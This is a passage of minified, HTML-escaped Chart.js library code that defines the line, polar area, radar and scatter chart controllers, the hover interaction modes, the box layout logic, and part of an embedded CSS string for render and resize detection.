model=arc._model,options=arc._options,getHoverColor=helpers$1.getHoverColor;arc.$previousStyle={backgroundColor:model.backgroundColor,borderColor:model.borderColor,borderWidth:model.borderWidth},model.backgroundColor=valueOrDefault$5(options.hoverBackgroundColor,getHoverColor(options.backgroundColor)),model.borderColor=valueOrDefault$5(options.hoverBorderColor,getHoverColor(options.borderColor)),model.borderWidth=valueOrDefault$5(options.hoverBorderWidth,options.borderWidth)},_getRingWeightOffset:function(datasetIndex){for(var ringWeightOffset=0,i=0;i&lt;datasetIndex;++i)this.chart.isDatasetVisible(i)&amp;&amp;(ringWeightOffset+=this._getRingWeight(i));return ringWeightOffset},_getRingWeight:function(dataSetIndex){return Math.max(valueOrDefault$5(this.chart.data.datasets[dataSetIndex].weight,1),0)},_getVisibleDatasetWeightTotal:function(){return this._getRingWeightOffset(this.chart.data.datasets.length)}});core_defaults._set(&quot;horizontalBar&quot;,{hover:{mode:&quot;index&quot;,axis:&quot;y&quot;},scales:{xAxes:[{type:&quot;linear&quot;,position:&quot;bottom&quot;}],yAxes:[{type:&quot;category&quot;,position:&quot;left&quot;,offset:!0,gridLines:{offsetGridLines:!0}}]},elements:{rectangle:{borderSkipped:&quot;left&quot;}},tooltips:{mode:&quot;index&quot;,axis:&quot;y&quot;}}),core_defaults._set(&quot;global&quot;,{datasets:{horizontalBar:{categoryPercentage:.8,barPercentage:.9}}});var controller_horizontalBar=controller_bar.extend({_getValueScaleId:function(){return this.getMeta().xAxisID},_getIndexScaleId:function(){return this.getMeta().yAxisID}}),valueOrDefault$6=helpers$1.valueOrDefault,resolve$2=helpers$1.options.resolve,isPointInArea=helpers$1.canvas._isPointInArea;function scaleClip(scale,halfBorderWidth){var tickOpts=scale&amp;&amp;scale.options.ticks||{},reverse=tickOpts.reverse,min=void 0===tickOpts.min?halfBorderWidth:0,max=void 0===tickOpts.max?halfBorderWidth:0;return{start:reverse?max:min,end:reverse?min:max}}function defaultClip(xScale,yScale,borderWidth){var halfBorderWidth=borderWidth/2,x=scaleClip(xScale,halfBorderWidth),y=scaleClip(yScale,halfBorderWidth);return{top:y.end,right:x.end,bottom:y.start,left:x.start}}function toClip(value){var t,r,b,l;return helpers$1.isObject(value)?(t=value.top,r=value.right,b=value.bottom,l=value.left):t=r=b=l=value,{top:t,right:r,bottom:b,left:l}}core_defaults._set(&quot;line&quot;,{showLines:!0,spanGaps:!1,hover:{mode:&quot;label&quot;},scales:{xAxes:[{type:&quot;category&quot;,id:&quot;x-axis-0&quot;}],yAxes:[{type:&quot;linear&quot;,id:&quot;y-axis-0&quot;}]}});var controller_line=core_datasetController.extend({datasetElementType:elements.Line,dataElementType:elements.Point,_datasetElementOptions:[&quot;backgroundColor&quot;,&quot;borderCapStyle&quot;,&quot;borderColor&quot;,&quot;borderDash&quot;,&quot;borderDashOffset&quot;,&quot;borderJoinStyle&quot;,&quot;borderWidth&quot;,&quot;cubicInterpolationMode&quot;,&quot;fill&quot;],_dataElementOptions:{backgroundColor:&quot;pointBackgroundColor&quot;,borderColor:&quot;pointBorderColor&quot;,borderWidth:&quot;pointBorderWidth&quot;,hitRadius:&quot;pointHitRadius&quot;,hoverBackgroundColor:&quot;pointHoverBackgroundColor&quot;,hoverBorderColor:&quot;pointHoverBorderColor&quot;,hoverBorderWidth:&quot;pointHoverBorderWidth&quot;,hoverRadius:&quot;pointHoverRadius&quot;,pointStyle:&quot;pointStyle&quot;,radius:&quot;pointRadius&quot;,rotation:&quot;pointRotation&quot;},update:function(reset){var i,ilen,me=this,meta=me.getMeta(),line=meta.dataset,points=meta.data||[],options=me.chart.options,config=me._config,showLine=me._showLine=valueOrDefault$6(config.showLine,options.showLines);for(me._xScale=me.getScaleForId(meta.xAxisID),me._yScale=me.getScaleForId(meta.yAxisID),showLine&amp;&amp;(void 0!==config.tension&amp;&amp;void 0===config.lineTension&amp;&amp;(config.lineTension=config.tension),line._scale=me._yScale,line._datasetIndex=me.index,line._children=points,line._model=me._resolveDatasetElementOptions(line),line.pivot()),i=0,ilen=points.length;i&lt;ilen;++i)me.updateElement(points[i],i,reset);for(showLine&amp;&amp;0!==line._model.tension&amp;&amp;me.updateBezierControlPoints(),i=0,ilen=points.length;i&lt;ilen;++i)points[i].pivot()},updateElement:function(point,index,reset){var x,y,me=this,meta=me.getMeta(),custom=point.custom||{},dataset=me.getDataset(),datasetIndex=me.index,value=dataset.data[index],xScale=me._xScale,yScale=me._yScale,lineModel=meta.dataset._model,options=me._resolveDataElementOptions(point,index);x=xScale.getPixelForValue(&quot;object&quot;==typeof value?value:NaN,index,datasetIndex),y=reset?yScale.getBasePixel():me.calculatePointY(value,index,datasetIndex),point._xScale=xScale,point._yScale=yScale,point._options=options,point._datasetIndex=datasetIndex,point._index=index,point._model={x:x,y:y,skip:custom.skip||isNaN(x)||isNaN(y),radius:options.radius,pointStyle:options.pointStyle,rotation:options.rotation,backgroundColor:options.backgroundColor,borderColor:options.borderColor,borderWidth:options.borderWidth,tension:valueOrDefault$6(custom.tension,lineModel?lineModel.tension:0),steppedLine:!!lineModel&amp;&amp;lineModel.steppedLine,hitRadius:options.hitRadius}},_resolveDatasetElementOptions:function(element){var me=this,config=me._config,custom=element.custom||{},options=me.chart.options,lineOptions=options.elements.line,values=core_datasetController.prototype._resolveDatasetElementOptions.apply(me,arguments);return values.spanGaps=valueOrDefault$6(config.spanGaps,options.spanGaps),values.tension=valueOrDefault$6(config.lineTension,lineOptions.tension),values.steppedLine=resolve$2([custom.steppedLine,config.steppedLine,lineOptions.stepped]),values.clip=toClip(valueOrDefault$6(config.clip,defaultClip(me._xScale,me._yScale,values.borderWidth))),values},calculatePointY:function(value,index,datasetIndex){var i,ds,dsMeta,stackedRightValue,rightValue,metasets,ilen,chart=this.chart,yScale=this._yScale,sumPos=0,sumNeg=0;if(yScale.options.stacked){for(rightValue=+yScale.getRightValue(value),ilen=(metasets=chart._getSortedVisibleDatasetMetas()).length,i=0;i&lt;ilen&amp;&amp;(dsMeta=metasets[i]).index!==datasetIndex;++i)ds=chart.data.datasets[dsMeta.index],&quot;line&quot;===dsMeta.type&amp;&amp;dsMeta.yAxisID===yScale.id&amp;&amp;((stackedRightValue=+yScale.getRightValue(ds.data[index]))&lt;0?sumNeg+=stackedRightValue||0:sumPos+=stackedRightValue||0);return rightValue&lt;0?yScale.getPixelForValue(sumNeg+rightValue):yScale.getPixelForValue(sumPos+rightValue)}return yScale.getPixelForValue(value)},updateBezierControlPoints:function(){var i,ilen,model,controlPoints,chart=this.chart,meta=this.getMeta(),lineModel=meta.dataset._model,area=chart.chartArea,points=meta.data||[];function capControlPoint(pt,min,max){return Math.max(Math.min(pt,max),min)}if(lineModel.spanGaps&amp;&amp;(points=points.filter((function(pt){return!pt._model.skip}))),&quot;monotone&quot;===lineModel.cubicInterpolationMode)helpers$1.splineCurveMonotone(points);else for(i=0,ilen=points.length;i&lt;ilen;++i)model=points[i]._model,controlPoints=helpers$1.splineCurve(helpers$1.previousItem(points,i)._model,model,helpers$1.nextItem(points,i)._model,lineModel.tension),model.controlPointPreviousX=controlPoints.previous.x,model.controlPointPreviousY=controlPoints.previous.y,model.controlPointNextX=controlPoints.next.x,model.controlPointNextY=controlPoints.next.y;if(chart.options.elements.line.capBezierPoints)for(i=0,ilen=points.length;i&lt;ilen;++i)model=points[i]._model,isPointInArea(model,area)&amp;&amp;(i&gt;0&amp;&amp;isPointInArea(points[i-1]._model,area)&amp;&amp;(model.controlPointPreviousX=capControlPoint(model.controlPointPreviousX,area.left,area.right),model.controlPointPreviousY=capControlPoint(model.controlPointPreviousY,area.top,area.bottom)),i&lt;points.length-1&amp;&amp;isPointInArea(points[i+1]._model,area)&amp;&amp;(model.controlPointNextX=capControlPoint(model.controlPointNextX,area.left,area.right),model.controlPointNextY=capControlPoint(model.controlPointNextY,area.top,area.bottom)))},draw:function(){var clip,chart=this.chart,meta=this.getMeta(),points=meta.data||[],area=chart.chartArea,canvas=chart.canvas,i=0,ilen=points.length;for(this._showLine&amp;&amp;(clip=meta.dataset._model.clip,helpers$1.canvas.clipArea(chart.ctx,{left:!1===clip.left?0:area.left-clip.left,right:!1===clip.right?canvas.width:area.right+clip.right,top:!1===clip.top?0:area.top-clip.top,bottom:!1===clip.bottom?canvas.height:area.bottom+clip.bottom}),meta.dataset.draw(),helpers$1.canvas.unclipArea(chart.ctx));i&lt;ilen;++i)points[i].draw(area)},setHoverStyle:function(point){var model=point._model,options=point._options,getHoverColor=helpers$1.getHoverColor;point.$previousStyle={backgroundColor:model.backgroundColor,borderColor:model.borderColor,borderWidth:model.borderWidth,radius:model.radius},model.backgroundColor=valueOrDefault$6(options.hoverBackgroundColor,getHoverColor(options.backgroundColor)),model.borderColor=valueOrDefault$6(options.hoverBorderColor,getHoverColor(options.borderColor)),model.borderWidth=valueOrDefault$6(options.hoverBorderWidth,options.borderWidth),model.radius=valueOrDefault$6(options.hoverRadius,options.radius)}}),resolve$3=helpers$1.options.resolve;core_defaults._set(&quot;polarArea&quot;,{scale:{type:&quot;radialLinear&quot;,angleLines:{display:!1},gridLines:{circular:!0},pointLabels:{display:!1},ticks:{beginAtZero:!0}},animation:{animateRotate:!0,animateScale:!0},startAngle:-.5*Math.PI,legendCallback:function(chart){var i,ilen,listItem,list=document.createElement(&quot;ul&quot;),data=chart.data,datasets=data.datasets,labels=data.labels;if(list.setAttribute(&quot;class&quot;,chart.id+&quot;-legend&quot;),datasets.length)for(i=0,ilen=datasets[0].data.length;i&lt;ilen;++i)(listItem=list.appendChild(document.createElement(&quot;li&quot;))).appendChild(document.createElement(&quot;span&quot;)).style.backgroundColor=datasets[0].backgroundColor[i],labels[i]&amp;&amp;listItem.appendChild(document.createTextNode(labels[i]));return list.outerHTML},legend:{labels:{generateLabels:function(chart){var data=chart.data;return data.labels.length&amp;&amp;data.datasets.length?data.labels.map((function(label,i){var meta=chart.getDatasetMeta(0),style=meta.controller.getStyle(i);return{text:label,fillStyle:style.backgroundColor,strokeStyle:style.borderColor,lineWidth:style.borderWidth,hidden:isNaN(data.datasets[0].data[i])||meta.data[i].hidden,index:i}})):[]}},onClick:function(e,legendItem){var i,ilen,meta,index=legendItem.index,chart=this.chart;for(i=0,ilen=(chart.data.datasets||[]).length;i&lt;ilen;++i)(meta=chart.getDatasetMeta(i)).data[index].hidden=!meta.data[index].hidden;chart.update()}},tooltips:{callbacks:{title:function(){return&quot;&quot;},label:function(item,data){return data.labels[item.index]+&quot;: &quot;+item.yLabel}}}});var controller_polarArea=core_datasetController.extend({dataElementType:elements.Arc,linkScales:helpers$1.noop,_dataElementOptions:[&quot;backgroundColor&quot;,&quot;borderColor&quot;,&quot;borderWidth&quot;,&quot;borderAlign&quot;,&quot;hoverBackgroundColor&quot;,&quot;hoverBorderColor&quot;,&quot;hoverBorderWidth&quot;],_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(reset){var i,ilen,angle,me=this,dataset=me.getDataset(),meta=me.getMeta(),start=me.chart.options.startAngle||0,starts=me._starts=[],angles=me._angles=[],arcs=meta.data;for(me._updateRadius(),meta.count=me.countVisibleElements(),i=0,ilen=dataset.data.length;i&lt;ilen;i++)starts[i]=start,angle=me._computeAngle(i),angles[i]=angle,start+=angle;for(i=0,ilen=arcs.length;i&lt;ilen;++i)arcs[i]._options=me._resolveDataElementOptions(arcs[i],i),me.updateElement(arcs[i],i,reset)},_updateRadius:function(){var me=this,chart=me.chart,chartArea=chart.chartArea,opts=chart.options,minSize=Math.min(chartArea.right-chartArea.left,chartArea.bottom-chartArea.top);chart.outerRadius=Math.max(minSize/2,0),chart.innerRadius=Math.max(opts.cutoutPercentage?chart.outerRadius/100*opts.cutoutPercentage:1,0),chart.radiusLength=(chart.outerRadius-chart.innerRadius)/chart.getVisibleDatasetCount(),me.outerRadius=chart.outerRadius-chart.radiusLength*me.index,me.innerRadius=me.outerRadius-chart.radiusLength},updateElement:function(arc,index,reset){var me=this,chart=me.chart,dataset=me.getDataset(),opts=chart.options,animationOpts=opts.animation,scale=chart.scale,labels=chart.data.labels,centerX=scale.xCenter,centerY=scale.yCenter,datasetStartAngle=opts.startAngle,distance=arc.hidden?0:scale.getDistanceFromCenterForValue(dataset.data[index]),startAngle=me._starts[index],endAngle=startAngle+(arc.hidden?0:me._angles[index]),resetRadius=animationOpts.animateScale?0:scale.getDistanceFromCenterForValue(dataset.data[index]),options=arc._options||{};helpers$1.extend(arc,{_datasetIndex:me.index,_index:index,_scale:scale,_model:{backgroundColor:options.backgroundColor,borderColor:options.borderColor,borderWidth:options.borderWidth,borderAlign:options.borderAlign,x:centerX,y:centerY,innerRadius:0,outerRadius:reset?resetRadius:distance,startAngle:reset&amp;&amp;animationOpts.animateRotate?datasetStartAngle:startAngle,endAngle:reset&amp;&amp;animationOpts.animateRotate?datasetStartAngle:endAngle,label:helpers$1.valueAtIndexOrDefault(labels,index,labels[index])}}),arc.pivot()},countVisibleElements:function(){var dataset=this.getDataset(),meta=this.getMeta(),count=0;return helpers$1.each(meta.data,(function(element,index){isNaN(dataset.data[index])||element.hidden||count++})),count},setHoverStyle:function(arc){var model=arc._model,options=arc._options,getHoverColor=helpers$1.getHoverColor,valueOrDefault=helpers$1.valueOrDefault;arc.$previousStyle={backgroundColor:model.backgroundColor,borderColor:model.borderColor,borderWidth:model.borderWidth},model.backgroundColor=valueOrDefault(options.hoverBackgroundColor,getHoverColor(options.backgroundColor)),model.borderColor=valueOrDefault(options.hoverBorderColor,getHoverColor(options.borderColor)),model.borderWidth=valueOrDefault(options.hoverBorderWidth,options.borderWidth)},_computeAngle:function(index){var me=this,count=this.getMeta().count,dataset=me.getDataset(),meta=me.getMeta();if(isNaN(dataset.data[index])||meta.data[index].hidden)return 0;var context={chart:me.chart,dataIndex:index,dataset:dataset,datasetIndex:me.index};return resolve$3([me.chart.options.elements.arc.angle,2*Math.PI/count],context,index)}});core_defaults._set(&quot;pie&quot;,helpers$1.clone(core_defaults.doughnut)),core_defaults._set(&quot;pie&quot;,{cutoutPercentage:0});var controller_pie=controller_doughnut,valueOrDefault$7=helpers$1.valueOrDefault;core_defaults._set(&quot;radar&quot;,{spanGaps:!1,scale:{type:&quot;radialLinear&quot;},elements:{line:{fill:&quot;start&quot;,tension:0}}});var controller_radar=core_datasetController.extend({datasetElementType:elements.Line,dataElementType:elements.Point,linkScales:helpers$1.noop,_datasetElementOptions:[&quot;backgroundColor&quot;,&quot;borderWidth&quot;,&quot;borderColor&quot;,&quot;borderCapStyle&quot;,&quot;borderDash&quot;,&quot;borderDashOffset&quot;,&quot;borderJoinStyle&quot;,&quot;fill&quot;],_dataElementOptions:{backgroundColor:&quot;pointBackgroundColor&quot;,borderColor:&quot;pointBorderColor&quot;,borderWidth:&quot;pointBorderWidth&quot;,hitRadius:&quot;pointHitRadius&quot;,hoverBackgroundColor:&quot;pointHoverBackgroundColor&quot;,hoverBorderColor:&quot;pointHoverBorderColor&quot;,hoverBorderWidth:&quot;pointHoverBorderWidth&quot;,hoverRadius:&quot;pointHoverRadius&quot;,pointStyle:&quot;pointStyle&quot;,radius:&quot;pointRadius&quot;,rotation:&quot;pointRotation&quot;},_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(reset){var i,ilen,me=this,meta=me.getMeta(),line=meta.dataset,points=meta.data||[],scale=me.chart.scale,config=me._config;for(void 0!==config.tension&amp;&amp;void 0===config.lineTension&amp;&amp;(config.lineTension=config.tension),line._scale=scale,line._datasetIndex=me.index,line._children=points,line._loop=!0,line._model=me._resolveDatasetElementOptions(line),line.pivot(),i=0,ilen=points.length;i&lt;ilen;++i)me.updateElement(points[i],i,reset);for(me.updateBezierControlPoints(),i=0,ilen=points.length;i&lt;ilen;++i)points[i].pivot()},updateElement:function(point,index,reset){var me=this,custom=point.custom||{},dataset=me.getDataset(),scale=me.chart.scale,pointPosition=scale.getPointPositionForValue(index,dataset.data[index]),options=me._resolveDataElementOptions(point,index),lineModel=me.getMeta().dataset._model,x=reset?scale.xCenter:pointPosition.x,y=reset?scale.yCenter:pointPosition.y;point._scale=scale,point._options=options,point._datasetIndex=me.index,point._index=index,point._model={x:x,y:y,skip:custom.skip||isNaN(x)||isNaN(y),radius:options.radius,pointStyle:options.pointStyle,rotation:options.rotation,backgroundColor:options.backgroundColor,borderColor:options.borderColor,borderWidth:options.borderWidth,tension:valueOrDefault$7(custom.tension,lineModel?lineModel.tension:0),hitRadius:options.hitRadius}},_resolveDatasetElementOptions:function(){var me=this,config=me._config,options=me.chart.options,values=core_datasetController.prototype._resolveDatasetElementOptions.apply(me,arguments);return values.spanGaps=valueOrDefault$7(config.spanGaps,options.spanGaps),values.tension=valueOrDefault$7(config.lineTension,options.elements.line.tension),values},updateBezierControlPoints:function(){var i,ilen,model,controlPoints,meta=this.getMeta(),area=this.chart.chartArea,points=meta.data||[];function capControlPoint(pt,min,max){return Math.max(Math.min(pt,max),min)}for(meta.dataset._model.spanGaps&amp;&amp;(points=points.filter((function(pt){return!pt._model.skip}))),i=0,ilen=points.length;i&lt;ilen;++i)model=points[i]._model,controlPoints=helpers$1.splineCurve(helpers$1.previousItem(points,i,!0)._model,model,helpers$1.nextItem(points,i,!0)._model,model.tension),model.controlPointPreviousX=capControlPoint(controlPoints.previous.x,area.left,area.right),model.controlPointPreviousY=capControlPoint(controlPoints.previous.y,area.top,area.bottom),model.controlPointNextX=capControlPoint(controlPoints.next.x,area.left,area.right),model.controlPointNextY=capControlPoint(controlPoints.next.y,area.top,area.bottom)},setHoverStyle:function(point){var model=point._model,options=point._options,getHoverColor=helpers$1.getHoverColor;point.$previousStyle={backgroundColor:model.backgroundColor,borderColor:model.borderColor,borderWidth:model.borderWidth,radius:model.radius},model.backgroundColor=valueOrDefault$7(options.hoverBackgroundColor,getHoverColor(options.backgroundColor)),model.borderColor=valueOrDefault$7(options.hoverBorderColor,getHoverColor(options.borderColor)),model.borderWidth=valueOrDefault$7(options.hoverBorderWidth,options.borderWidth),model.radius=valueOrDefault$7(options.hoverRadius,options.radius)}});core_defaults._set(&quot;scatter&quot;,{hover:{mode:&quot;single&quot;},scales:{xAxes:[{id:&quot;x-axis-1&quot;,type:&quot;linear&quot;,position:&quot;bottom&quot;}],yAxes:[{id:&quot;y-axis-1&quot;,type:&quot;linear&quot;,position:&quot;left&quot;}]},tooltips:{callbacks:{title:function(){return&quot;&quot;},label:function(item){return&quot;(&quot;+item.xLabel+&quot;, &quot;+item.yLabel+&quot;)&quot;}}}}),core_defaults._set(&quot;global&quot;,{datasets:{scatter:{showLine:!1}}});var controllers={bar:controller_bar,bubble:controller_bubble,doughnut:controller_doughnut,horizontalBar:controller_horizontalBar,line:controller_line,polarArea:controller_polarArea,pie:controller_pie,radar:controller_radar,scatter:controller_line};function getRelativePosition(e,chart){return e.native?{x:e.x,y:e.y}:helpers$1.getRelativePosition(e,chart)}function parseVisibleItems(chart,handler){var metadata,i,j,ilen,jlen,element,metasets=chart._getSortedVisibleDatasetMetas();for(i=0,ilen=metasets.length;i&lt;ilen;++i)for(j=0,jlen=(metadata=metasets[i].data).length;j&lt;jlen;++j)(element=metadata[j])._view.skip||handler(element)}function getIntersectItems(chart,position){var elements=[];return parseVisibleItems(chart,(function(element){element.inRange(position.x,position.y)&amp;&amp;elements.push(element)})),elements}function getNearestItems(chart,position,intersect,distanceMetric){var minDistance=Number.POSITIVE_INFINITY,nearestItems=[];return parseVisibleItems(chart,(function(element){if(!intersect||element.inRange(position.x,position.y)){var center=element.getCenterPoint(),distance=distanceMetric(position,center);distance&lt;minDistance?(nearestItems=[element],minDistance=distance):distance===minDistance&amp;&amp;nearestItems.push(element)}})),nearestItems}function getDistanceMetricForAxis(axis){var useX=-1!==axis.indexOf(&quot;x&quot;),useY=-1!==axis.indexOf(&quot;y&quot;);return function(pt1,pt2){var deltaX=useX?Math.abs(pt1.x-pt2.x):0,deltaY=useY?Math.abs(pt1.y-pt2.y):0;return Math.sqrt(Math.pow(deltaX,2)+Math.pow(deltaY,2))}}function indexMode(chart,e,options){var position=getRelativePosition(e,chart);options.axis=options.axis||&quot;x&quot;;var distanceMetric=getDistanceMetricForAxis(options.axis),items=options.intersect?getIntersectItems(chart,position):getNearestItems(chart,position,!1,distanceMetric),elements=[];return items.length?(chart._getSortedVisibleDatasetMetas().forEach((function(meta){var element=meta.data[items[0]._index];element&amp;&amp;!element._view.skip&amp;&amp;elements.push(element)})),elements):[]}var core_interaction={modes:{single:function(chart,e){var position=getRelativePosition(e,chart),elements=[];return parseVisibleItems(chart,(function(element){if(element.inRange(position.x,position.y))return elements.push(element),elements})),elements.slice(0,1)},label:indexMode,index:indexMode,dataset:function(chart,e,options){var position=getRelativePosition(e,chart);options.axis=options.axis||&quot;xy&quot;;var distanceMetric=getDistanceMetricForAxis(options.axis),items=options.intersect?getIntersectItems(chart,position):getNearestItems(chart,position,!1,distanceMetric);return items.length&gt;0&amp;&amp;(items=chart.getDatasetMeta(items[0]._datasetIndex).data),items},&quot;x-axis&quot;:function(chart,e){return indexMode(chart,e,{intersect:!1})},point:function(chart,e){return getIntersectItems(chart,getRelativePosition(e,chart))},nearest:function(chart,e,options){var position=getRelativePosition(e,chart);options.axis=options.axis||&quot;xy&quot;;var distanceMetric=getDistanceMetricForAxis(options.axis);return getNearestItems(chart,position,options.intersect,distanceMetric)},x:function(chart,e,options){var position=getRelativePosition(e,chart),items=[],intersectsItem=!1;return parseVisibleItems(chart,(function(element){element.inXRange(position.x)&amp;&amp;items.push(element),element.inRange(position.x,position.y)&amp;&amp;(intersectsItem=!0)})),options.intersect&amp;&amp;!intersectsItem&amp;&amp;(items=[]),items},y:function(chart,e,options){var position=getRelativePosition(e,chart),items=[],intersectsItem=!1;return parseVisibleItems(chart,(function(element){element.inYRange(position.y)&amp;&amp;items.push(element),element.inRange(position.x,position.y)&amp;&amp;(intersectsItem=!0)})),options.intersect&amp;&amp;!intersectsItem&amp;&amp;(items=[]),items}}},extend=helpers$1.extend;function filterByPosition(array,position){return helpers$1.where(array,(function(v){return v.pos===position}))}function sortByWeight(array,reverse){return array.sort((function(a,b){var v0=reverse?b:a,v1=reverse?a:b;return v0.weight===v1.weight?v0.index-v1.index:v0.weight-v1.weight}))}function getCombinedMax(maxPadding,chartArea,a,b){return Math.max(maxPadding[a],chartArea[a])+Math.max(maxPadding[b],chartArea[b])}function updateDims(chartArea,params,layout){var newWidth,newHeight,box=layout.box,maxPadding=chartArea.maxPadding;if(layout.size&amp;&amp;(chartArea[layout.pos]-=layout.size),layout.size=layout.horizontal?box.height:box.width,chartArea[layout.pos]+=layout.size,box.getPadding){var boxPadding=box.getPadding();maxPadding.top=Math.max(maxPadding.top,boxPadding.top),maxPadding.left=Math.max(maxPadding.left,boxPadding.left),maxPadding.bottom=Math.max(maxPadding.bottom,boxPadding.bottom),maxPadding.right=Math.max(maxPadding.right,boxPadding.right)}if(newWidth=params.outerWidth-getCombinedMax(maxPadding,chartArea,&quot;left&quot;,&quot;right&quot;),newHeight=params.outerHeight-getCombinedMax(maxPadding,chartArea,&quot;top&quot;,&quot;bottom&quot;),newWidth!==chartArea.w||newHeight!==chartArea.h){chartArea.w=newWidth,chartArea.h=newHeight;var sizes=layout.horizontal?[newWidth,chartArea.w]:[newHeight,chartArea.h];return!(sizes[0]===sizes[1]||isNaN(sizes[0])&amp;&amp;isNaN(sizes[1]))}}function getMargins(horizontal,chartArea){var maxPadding=chartArea.maxPadding;function marginForPositions(positions){var margin={left:0,top:0,right:0,bottom:0};return positions.forEach((function(pos){margin[pos]=Math.max(chartArea[pos],maxPadding[pos])})),margin}return marginForPositions(horizontal?[&quot;left&quot;,&quot;right&quot;]:[&quot;top&quot;,&quot;bottom&quot;])}function fitBoxes(boxes,chartArea,params){var i,ilen,layout,box,refit,changed,refitBoxes=[];for(i=0,ilen=boxes.length;i&lt;ilen;++i)(box=(layout=boxes[i]).box).update(layout.width||chartArea.w,layout.height||chartArea.h,getMargins(layout.horizontal,chartArea)),updateDims(chartArea,params,layout)&amp;&amp;(changed=!0,refitBoxes.length&amp;&amp;(refit=!0)),box.fullWidth||refitBoxes.push(layout);return refit&amp;&amp;fitBoxes(refitBoxes,chartArea,params)||changed}function placeBoxes(boxes,chartArea,params){var i,ilen,layout,box,userPadding=params.padding,x=chartArea.x,y=chartArea.y;for(i=0,ilen=boxes.length;i&lt;ilen;++i)box=(layout=boxes[i]).box,layout.horizontal?(box.left=box.fullWidth?userPadding.left:chartArea.left,box.right=box.fullWidth?params.outerWidth-userPadding.right:chartArea.left+chartArea.w,box.top=y,box.bottom=y+box.height,box.width=box.right-box.left,y=box.bottom):(box.left=x,box.right=x+box.width,box.top=chartArea.top,box.bottom=chartArea.top+chartArea.h,box.height=box.bottom-box.top,x=box.right);chartArea.x=x,chartArea.y=y}core_defaults._set(&quot;global&quot;,{layout:{padding:{top:0,right:0,bottom:0,left:0}}});var n,core_layouts={defaults:{},addBox:function(chart,item){chart.boxes||(chart.boxes=[]),item.fullWidth=item.fullWidth||!1,item.position=item.position||&quot;top&quot;,item.weight=item.weight||0,item._layers=item._layers||function(){return[{z:0,draw:function(){item.draw.apply(item,arguments)}}]},chart.boxes.push(item)},removeBox:function(chart,layoutItem){var index=chart.boxes?chart.boxes.indexOf(layoutItem):-1;-1!==index&amp;&amp;chart.boxes.splice(index,1)},configure:function(chart,item,options){for(var prop,props=[&quot;fullWidth&quot;,&quot;position&quot;,&quot;weight&quot;],ilen=props.length,i=0;i&lt;ilen;++i)prop=props[i],options.hasOwnProperty(prop)&amp;&amp;(item[prop]=options[prop])},update:function(chart,width,height){if(chart){var layoutOptions=chart.options.layout||{},padding=helpers$1.options.toPadding(layoutOptions.padding),availableWidth=width-padding.width,availableHeight=height-padding.height,boxes=function(boxes){var layoutBoxes=function(boxes){var i,ilen,box,layoutBoxes=[];for(i=0,ilen=(boxes||[]).length;i&lt;ilen;++i)box=boxes[i],layoutBoxes.push({index:i,box:box,pos:box.position,horizontal:box.isHorizontal(),weight:box.weight});return layoutBoxes}(boxes),left=sortByWeight(filterByPosition(layoutBoxes,&quot;left&quot;),!0),right=sortByWeight(filterByPosition(layoutBoxes,&quot;right&quot;)),top=sortByWeight(filterByPosition(layoutBoxes,&quot;top&quot;),!0),bottom=sortByWeight(filterByPosition(layoutBoxes,&quot;bottom&quot;));return{leftAndTop:left.concat(top),rightAndBottom:right.concat(bottom),chartArea:filterByPosition(layoutBoxes,&quot;chartArea&quot;),vertical:left.concat(right),horizontal:top.concat(bottom)}}(chart.boxes),verticalBoxes=boxes.vertical,horizontalBoxes=boxes.horizontal,params=Object.freeze({outerWidth:width,outerHeight:height,padding:padding,availableWidth:availableWidth,vBoxMaxWidth:availableWidth/2/verticalBoxes.length,hBoxMaxHeight:availableHeight/2}),chartArea=extend({maxPadding:extend({},padding),w:availableWidth,h:availableHeight,x:padding.left,y:padding.top},padding);!function(layouts,params){var i,ilen,layout;for(i=0,ilen=layouts.length;i&lt;ilen;++i)(layout=layouts[i]).width=layout.horizontal?layout.box.fullWidth&amp;&amp;params.availableWidth:params.vBoxMaxWidth,layout.height=layout.horizontal&amp;&amp;params.hBoxMaxHeight}(verticalBoxes.concat(horizontalBoxes),params),fitBoxes(verticalBoxes,chartArea,params),fitBoxes(horizontalBoxes,chartArea,params)&amp;&amp;fitBoxes(verticalBoxes,chartArea,params),function(chartArea){var maxPadding=chartArea.maxPadding;function updatePos(pos){var change=Math.max(maxPadding[pos]-chartArea[pos],0);return chartArea[pos]+=change,change}chartArea.y+=updatePos(&quot;top&quot;),chartArea.x+=updatePos(&quot;left&quot;),updatePos(&quot;right&quot;),updatePos(&quot;bottom&quot;)}(chartArea),placeBoxes(boxes.leftAndTop,chartArea,params),chartArea.x+=chartArea.w,chartArea.y+=chartArea.h,placeBoxes(boxes.rightAndBottom,chartArea,params),chart.chartArea={left:chartArea.left,top:chartArea.top,right:chartArea.left+chartArea.w,bottom:chartArea.top+chartArea.h},helpers$1.each(boxes.chartArea,(function(layout){var box=layout.box;extend(box,chart.chartArea),box.update(chartArea.w,chartArea.h)}))}}},platform_dom$1=Object.freeze({__proto__:null,default:&quot;/*\r\n * DOM element rendering detection\r\n * https://davidwalsh.name/detect-node-insertion\r\n */\r\n@keyframes chartjs-render-animation {\r\n\tfrom { opacity: 0.99; }\r\n\tto { opacity: 1; }\r\n}\r\n\r\n.chartjs-render-monitor {\r\n\tanimation: chartjs-render-animation 0.001s;\r\n}\r\n\r\n/*\r\n * DOM element resizing detection\r\n * https://github.com/marcj/css-element-queries\r\n */\r\n.chartjs-size-monitor,\r\n.chartjs-size-monitor-expand,\r\n.chartjs-size-monitor-shrink {\r\n\tposition: absolute;\r\n\tdirection: ltr;\r\n\tleft: 0;\r\n\ttop: 0;\r\n\tright: 0;\r\n\tbottom: 0;\r\n\toverflow: hidden;\r\n\tpointer-events: none;\r\n\tvisibility: hidden;\r\n\tz-index: -1;\r\n}\r\n\r\n.chartjs-size-monitor-expand &gt; div {\r\n\tposition: absolute;\r\n\twidth: 1000000px;\r\n\theight: 1000000px;\r\n\tleft: 0;\r\n\ttop: 0;\r\n}\r\n\r\n.chartjs-size-monitor-shrink &gt; div {\r\n\tposition: absolute;\r\n\twidth: 200%;\r\n\theight: 200%;\r\n\tleft: 0;\r\n\ttop: 